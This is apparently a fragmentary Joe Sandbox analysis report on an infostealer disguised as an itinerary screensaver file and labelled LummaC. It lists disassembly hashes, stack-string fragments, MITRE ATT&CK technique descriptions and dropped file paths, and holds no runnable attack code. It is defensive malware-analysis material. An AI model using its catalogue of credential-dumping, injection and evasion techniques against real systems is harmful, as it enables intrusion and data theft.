Instruction Fuzzy Hash: 915126746083009BE7109F29DC45B2BB7E6EB89704F14982DF5C597292DB39DC05CBAB

Function 00425E70 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb453cfe87c3d4895fcef5adcba70af742de5fc44f30238646acffd3f92754e0
Instruction ID: 6e37d88637f30dcf1ca5a39760ca9fc235c391d288c19f204446c63a880f3ae7
Opcode Fuzzy Hash: fb453cfe87c3d4895fcef5adcba70af742de5fc44f30238646acffd3f92754e0
Instruction Fuzzy Hash: 0951AE30B483648FD710DA28A480267BBD2DF95320F8A867ED4D44B3D6E67DD90DD389

Function 0041BF14 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd0ee31e4d4d6d9ac2fa2587f77cf37721911ca3e59ccc36e7bfb755614f87b6
Instruction ID: 2e66319cfaede8187dee7502eb2bdf6532bbee011b37898b3e62ff9ec94ea10c
Opcode Fuzzy Hash: bd0ee31e4d4d6d9ac2fa2587f77cf37721911ca3e59ccc36e7bfb755614f87b6
Instruction Fuzzy Hash: 2C1166324092905AC314CB289940737BBE19B87310F584A5DF4D6E32E1D728CC028B8A

Function 00435450 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 1bdb52c757136d0f491bb15e4131204bafb517a34a554dccf387603b88e59a22
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 4D11EC336055D40EC3198D3C84006657FD31AB7235F6953DAF4B89B2D3D5268DCA8359

Function 0042A700 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b077483ebbe41559666eb24632921f170fd341de44e0cb4593afb61e9b0962fb
Instruction ID: 3de76f9d274b52e90d2ef9e87ec8d3366dafd7d2e10265ff4f1f4711345407d1
Opcode Fuzzy Hash: b077483ebbe41559666eb24632921f170fd341de44e0cb4593afb61e9b0962fb
Instruction Fuzzy Hash: 7601B1F570171147D720AE51A9C0B27B2B86FC0748F19443EEC4457342DB7DEC29869E

Function 00428D93 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d6529698e20a6c769e7980251b0ca5e132cff0518f497c1ab8b00d6e4c79072
Instruction ID: 34e981112378c59cf45707eac27e4188cbaca79d234523b47ecff1cb0040ee73
Opcode Fuzzy Hash: 7d6529698e20a6c769e7980251b0ca5e132cff0518f497c1ab8b00d6e4c79072
Instruction Fuzzy Hash: 59016DB9C00624EFEF00AF55DC01B9E77B6AB0A324F0414A5E508BB392D731ED10CB95

Function 0043CA93 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b41fa5205d4ae5a3fd68479d9a62f5c8f3548fe329d4af70c97534e327c91f5
Instruction ID: 76115147780e5b0d0309e2a0309811062aead7e9691d40ac881d7231c88a4ab0
Opcode Fuzzy Hash: 3b41fa5205d4ae5a3fd68479d9a62f5c8f3548fe329d4af70c97534e327c91f5
Instruction Fuzzy Hash: 23E0D8FFD556600397548A235C02226B1936BDA628B1AB8788E9673707EA359C0741D8

Function 00423086 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3e382a35f6a7edaa88fbd4097d4fd738d9cf468eed6d2bef4b4d717b7d72e8c
Instruction ID: 8488e0a8640df04fcf481087a0a0e2354c4894f8e99b76394d31cfc5082ce78b
Opcode Fuzzy Hash: d3e382a35f6a7edaa88fbd4097d4fd738d9cf468eed6d2bef4b4d717b7d72e8c
Instruction Fuzzy Hash: 6BE01279C11100BFDE046B11FC0161CBA72B76630BF46213AE40873232EF35A436A75D

Function 00427AD3 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9580c00f8d87a75d1cefbcc58e71a064fbff43a3de15b5db8def70aaa11ec223
Instruction ID: 6e3621e5ba52bd1720ea54ad2d17b774c7841a8325dce5c8bd5a6b1d086829a3
Opcode Fuzzy Hash: 9580c00f8d87a75d1cefbcc58e71a064fbff43a3de15b5db8def70aaa11ec223
Instruction Fuzzy Hash: 36D0C279815910CBDB047F01EC0216A73F4AB03389F04007CE88123263DB39D8288E8E

Function 0041C653 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49296dab776a215db2218e93475e1eaebcd65e3db626a3e2e0a563717988ad4a
Instruction ID: f6de81edf4edbd36f0565e031b671f89904ab193cb181933f1b50bd017efe36b
Opcode Fuzzy Hash: 49296dab776a215db2218e93475e1eaebcd65e3db626a3e2e0a563717988ad4a
Instruction Fuzzy Hash: C9D0127BF9210047DA099F11DD43775666393C770870DE1398805E3348DE3CD41A840E

Function 0040BFFD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77b0f56a3a3e1bb8ea188a0444bb5e5b9921abf6ae6ebc879750073e405f2179
Instruction ID: c40df4f40b565673574f117b3b393b79a76a3f9a491c552766a49f6821d64b0d
Opcode Fuzzy Hash: 77b0f56a3a3e1bb8ea188a0444bb5e5b9921abf6ae6ebc879750073e405f2179
Instruction Fuzzy Hash: ACC012BCA4C10187D7088F10EC05735B636E797A01F14E125C441232A5C630A403860C

Function 0042984F Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11edc8d7ae4c917e56862e9043f01123a23c23558e3e2cb29e810181f8f007cd
Instruction ID: 02d06448f02dd76ad61b8ab648816bdf30096f71157e536fee4757e064133957
Opcode Fuzzy Hash: 11edc8d7ae4c917e56862e9043f01123a23c23558e3e2cb29e810181f8f007cd
Instruction Fuzzy Hash: AEA022F8C0A800C3E800CF20BC02030F23C830B2A8F00303AE00CF3203EA30E0088A0E

Function 00431715 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0043179A

Strings

J, xrefs: 00431885
], xrefs: 00431849
H, xrefs: 004318AD
~, xrefs: 004318C1
Q, xrefs: 00431853
0, xrefs: 0043182B
B, xrefs: 00431871
#, xrefs: 00431899
, xrefs: 0043183F
^, xrefs: 0043185D
{, xrefs: 004318E1
B, xrefs: 0043188F
;, xrefs: 00431817
O, xrefs: 0043187B
m, xrefs: 004318B7
4, xrefs: 00431821
/, xrefs: 00431867
n, xrefs: 004318D1
0, xrefs: 00431980
G, xrefs: 004318A3

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction ID: e2dddc40eb3f9dab4f65535c588d3d72a3f147e4bda3b82f36fbc837b78308fa
Opcode Fuzzy Hash: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction Fuzzy Hash: 8481066010CBC28AD322C63C881875FBFD15BE7224F184B9DE1F58B3E6D6A98146C767

Function 004312D1 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00431360

Strings

4, xrefs: 004313E7
#, xrefs: 0043145F
J, xrefs: 0043144B
B, xrefs: 00431455
n, xrefs: 00431497
Q, xrefs: 00431419
/, xrefs: 0043142D
O, xrefs: 00431441
H, xrefs: 00431473
^, xrefs: 00431423
m, xrefs: 0043147D
{, xrefs: 004314A7
;, xrefs: 004313DD
~, xrefs: 00431487
0, xrefs: 0043153F
B, xrefs: 00431437
G, xrefs: 00431469
, xrefs: 00431405
0, xrefs: 004313F1
], xrefs: 0043140F

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction ID: e21bf8ef08eaefae2f6608d65dd533aaf672cde794620ee92b713000d27e8169
Opcode Fuzzy Hash: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction Fuzzy Hash: 9981F52010CBC289D326C63C885875FBFD16BE7224F184B9DE1F58B3E6D6A98146C727

Function 0042E9ED Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042E9F6
VariantInit.OLEAUT32 ref: 0042EA05

Strings

>, xrefs: 0042EA58
4, xrefs: 0042EA70
-, xrefs: 0042EA94
,, xrefs: 0042EA90
T, xrefs: 0042EA24
., xrefs: 0042EA98
W, xrefs: 0042EA34
2, xrefs: 0042EA68
(, xrefs: 0042EA80
8, xrefs: 0042EA40
0, xrefs: 0042EA60
Q, xrefs: 0042EA2C
6, xrefs: 0042EA78
<, xrefs: 0042EA50
b, xrefs: 0042EA3C
*, xrefs: 0042EA88
:, xrefs: 0042EA48

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction ID: 67e1650e07e25dd8c979730081919a9ec74336f1c366e84b3847a4c8d399cf69
Opcode Fuzzy Hash: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction Fuzzy Hash: 19410921108BC1CED726CF388488646BFA16F66224F0886DDD8E54F3DBC775D51AC7A6

Function 0042F833 Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 85COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042F83F
VariantInit.OLEAUT32 ref: 0042F84E

Strings

,, xrefs: 0042F8DF
Q, xrefs: 0042F87B
>, xrefs: 0042F8A7
4, xrefs: 0042F8BF
W, xrefs: 0042F883
(, xrefs: 0042F8CF
2, xrefs: 0042F8B7
T, xrefs: 0042F873
0, xrefs: 0042F8AF
-, xrefs: 0042F8E3
*, xrefs: 0042F8D7
8, xrefs: 0042F88F
:, xrefs: 0042F897
6, xrefs: 0042F8C7
<, xrefs: 0042F89F
b, xrefs: 0042F88B
., xrefs: 0042F8E7

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction ID: 5aee6742307bd22be2b72699ebf7517107c7abda4f37a595e92ffc77e439cf83
Opcode Fuzzy Hash: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction Fuzzy Hash: 34410820108BC1CED726CF3C9488616BFA16B66224F488ADDD8E54F3DBC375D51ACB66

Function 00432409 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 90COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043244F

Strings

E, xrefs: 00432495
@, xrefs: 004324A9
H, xrefs: 004324D1
X, xrefs: 00432477
C, xrefs: 00432481
J, xrefs: 0043248B
[, xrefs: 004324DB
@, xrefs: 004324E5
Q, xrefs: 0043249F
e, xrefs: 004324B3
L, xrefs: 004324BD
[, xrefs: 004324C7
X, xrefs: 0043246D
A, xrefs: 004324EA

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction ID: 53b19800ce9beadd92bbeaf8c0dd5e513984ffb5c5a49c85e3815ab243118963
Opcode Fuzzy Hash: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction Fuzzy Hash: 0541097010C7C18AD365DB28849878BBFE16B96314F885A9CE6E94B3E2C7798409C757

Function 00432194 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 83COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004321C6

Strings

A, xrefs: 00432268
Q, xrefs: 0043221D
H, xrefs: 0043224F
X, xrefs: 004321F5
[, xrefs: 00432245
C, xrefs: 004321FF
[, xrefs: 00432259
e, xrefs: 00432231
@, xrefs: 00432227
E, xrefs: 00432213
L, xrefs: 0043223B
X, xrefs: 004321EB
J, xrefs: 00432209
@, xrefs: 00432263

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction ID: f917ff13e8fa353cdd9af704c32342f25a9e0069aca0bae3d4b305f03d6e9fde
Opcode Fuzzy Hash: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction Fuzzy Hash: F841187000D7C18AD3619B28849874FBFE06BA7324F885A9DF6E84B3E2C77984498757

Function 00431EDD Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 92COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00431EE7
VariantInit.OLEAUT32 ref: 00431EFA

Strings

p, xrefs: 00431F9F
e, xrefs: 00431F5F
e, xrefs: 00431F1F
z, xrefs: 00431F2F
n, xrefs: 00431FAF
w, xrefs: 00431F4F
A, xrefs: 00431F8F
z, xrefs: 00431F6F
v, xrefs: 00431F3F
p, xrefs: 00431FBF

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: Variant$ClearInit
String ID: A$e$e$n$p$p$v$w$z$z
API String ID: 2610073882-1114116150
Opcode ID: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction ID: 776134ba1da329d7d35a817d8e2b42585fa70f537528e7a9cdeab4ed979499a7
Opcode Fuzzy Hash: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction Fuzzy Hash: 2641383160C7C18ED331DB38885879BBFD1ABA6324F088AADD4E9872D6D7794505C763

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Navan - Itinerary.pdf.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b5a9ce74-f230-4109-b7bd-9657976775a4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
